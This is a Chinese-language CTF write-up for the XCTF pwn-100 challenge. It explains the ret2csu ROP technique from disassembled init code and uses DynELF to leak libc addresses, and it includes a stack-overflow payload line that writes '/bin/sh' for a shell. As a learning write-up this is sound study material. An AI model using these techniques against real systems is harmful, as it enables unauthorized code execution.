XCTF-pwn-100-WP

Posted on Nov 7, 2020

这道题对我而言有两个新知识点,中级rop——ret2csu和DynELF工具的使用。同时这道题也做了我非常久,让我心态有点小崩。为啥会做这么久呢,还是因为我对plt,got和动态链接之类的知识认知太过于匮乏。所以从今天开始我放缓刷题,先看完《程序员的自我修养》一书。

先来谈谈ret2csu,几乎所有的Linux C程序都会调用libc,这样的程序中总会有一个init函数,比如下面这个(不同的程序会不一样)

.text:0000000000400700 ; void init(void)
.text:0000000000400700 init            proc near               ; DATA XREF: start+16↑o
.text:0000000000400700 ; __unwind {
.text:0000000000400700                 push    r15
.text:0000000000400702                 mov     r15d, edi
.text:0000000000400705                 push    r14
.text:0000000000400707                 mov     r14, rsi
.text:000000000040070A                 push    r13
.text:000000000040070C                 mov     r13, rdx
.text:000000000040070F                 push    r12
.text:0000000000400711                 lea     r12, off_600E10
.text:0000000000400718                 push    rbp
.text:0000000000400719                 lea     rbp, off_600E18
.text:0000000000400720                 push    rbx
.text:0000000000400721                 sub     rbp, r12
.text:0000000000400724                 xor     ebx, ebx
.text:0000000000400726                 sar     rbp, 3
.text:000000000040072A                 sub     rsp, 8
.text:000000000040072E                 call    _init_proc
.text:0000000000400733                 test    rbp, rbp
.text:0000000000400736                 jz      short loc_400756
.text:0000000000400738                 nop     dword ptr [rax+rax+00000000h]
.text:0000000000400740
.text:0000000000400740 loc_400740:                             ; CODE XREF: init+54↓j
.text:0000000000400740                 mov     rdx, r13
.text:0000000000400743                 mov     rsi, r14
.text:0000000000400746                 mov     edi, r15d
.text:0000000000400749                 call    qword ptr [r12+rbx*8]
.text:000000000040074D                 add     rbx, 1
.text:0000000000400751                 cmp     rbx, rbp
.text:0000000000400754                 jnz     short loc_400740
.text:0000000000400756
.text:0000000000400756 loc_400756:                             ; CODE XREF: init+36↑j
.text:0000000000400756                 add     rsp, 8
.text:000000000040075A                 pop     rbx
.text:000000000040075B                 pop     rbp
.text:000000000040075C                 pop     r12
.text:000000000040075E                 pop     r13
.text:0000000000400760                 pop     r14
.text:0000000000400762                 pop     r15
.text:0000000000400764                 retn
.text:0000000000400764 ; } // starts at 400700
.text:0000000000400764 init            endp

这个函数我们主要关心后面两个local函数。可以发现,先调用loc_400756,通过对r13,r14赋值后retn到loc_400740后,我们便可以操纵rdx和rsi两个寄存器,他们正好是x64传参时的第三个和第二个参数,若改变r15的值,可以控制rdi(传递第一个参数的寄存器)的低32位(高32位会自动清零),改变r12则可以让loc_400740调用一个指定的函数。值得注意的是,call qword ptr [r12+rbx*8]语句进行的是call,也就是说r12应该指向被调函数的got表处,当然这么有点形而上学,准确地说是r12需要指向一个储存了被调函数的函数指针的地址

但是在构造payload的时候需要注意,因为在执行loc_400740时,loc_400756会再执行一次,所以需要在尾部(最后的return address之前)填充7*8个字节的垃圾数据来让寄存器出栈。当时我不太明白为什么是56个字节,原因是add rsp, 8这个指令让栈顶变化了,所以要多8个字节。

在这道题中,我们主要利用这两个函数来调用write函数向内存写入"/bin/sh"

说回题目,先检查一下安全措施

发现只有栈不可执行。

再到ida里面看一下

发现有这么一个函数,可以读200个字节,但是只有0x40,也就是说这里有溢出点,可以考虑做rop。但是我们发现,程序中既没有system又没有/bin/sh,于是我们考虑用libc中的system来调用shell。但是我们又没有服务器的libc,这个时候可以考虑使用libcsearcher来获取地址,但是我发现我的libcsearcher无法找到对应的libc,所以最后使用DynELF来暴力搜索。使用DynELF的前提条件是必须能够多次输出指定内存地址的内容,这道题是满足条件的。

蓝框中的leak函数用来可重复地泄露指定地址的内存,注意里面的timeout我设置成了0.01,这在本地基本没什么问题,但是在连接服务器的时候最好开大一些(比如0.1)

红框中即为调用函数,会内存空间进行多次泄露。然后我们就可以通过橙框中的方法来获取所需的函数。

下一步进行对输入的构造,我选择这么构造

先调用

.text:000000000040075A                 pop     rbx
.text:000000000040075B                 pop     rbp
.text:000000000040075C                 pop     r12
.text:000000000040075E                 pop     r13
.text:0000000000400760                 pop     r14
.text:0000000000400762                 pop     r15
.text:0000000000400764                 retn
.text:0000000000400764 ; } // starts at 400700
.text:0000000000400764 init            endp

由read的定义 ssize_t read(int fd, void * buf, size_t count);我们可以构造payload

  • 我们让rbx=0,rbp=1(为了通过下一个函数的判断)
  • 让r12=got["read"],在下一个gadgetcall qword ptr [r12+rbx*8]的时候调用read函数
  • 让r13=8,read的第三个参数,指定读取的字节数(/bin/sh\x00共计8个字节)
  • 让r14=bin_sh_addr,将读入的数据放入指定的内存空间中
  • 让r15=0,即read的第一个参数,设置read从标准输入中读入

然后设置retn到下一个gadget,并填充56个空字节(原因在开头提到了),再返回到main

payload = 'a'0x40 + 'b'0x8 + p64(csu_init_1) + p64(0) + p64(1) + p64(read_got) + p64(8) + p64(bin_sh_addr) + p64(0) + p64(csu_init_2) + '\x00'*56 + p64(mainaddr)#最后的payload

这样我们就写入了/bin/sh,然后就是简单的调用system,这里需要使用rdi的gadget,可以使用ROPgadget --binary pwn-100 --only "pop|ret"来查找

最后的exp

这道题做的很卡,原因是对底层的了解还不够,所以确实还需要加强基础知识。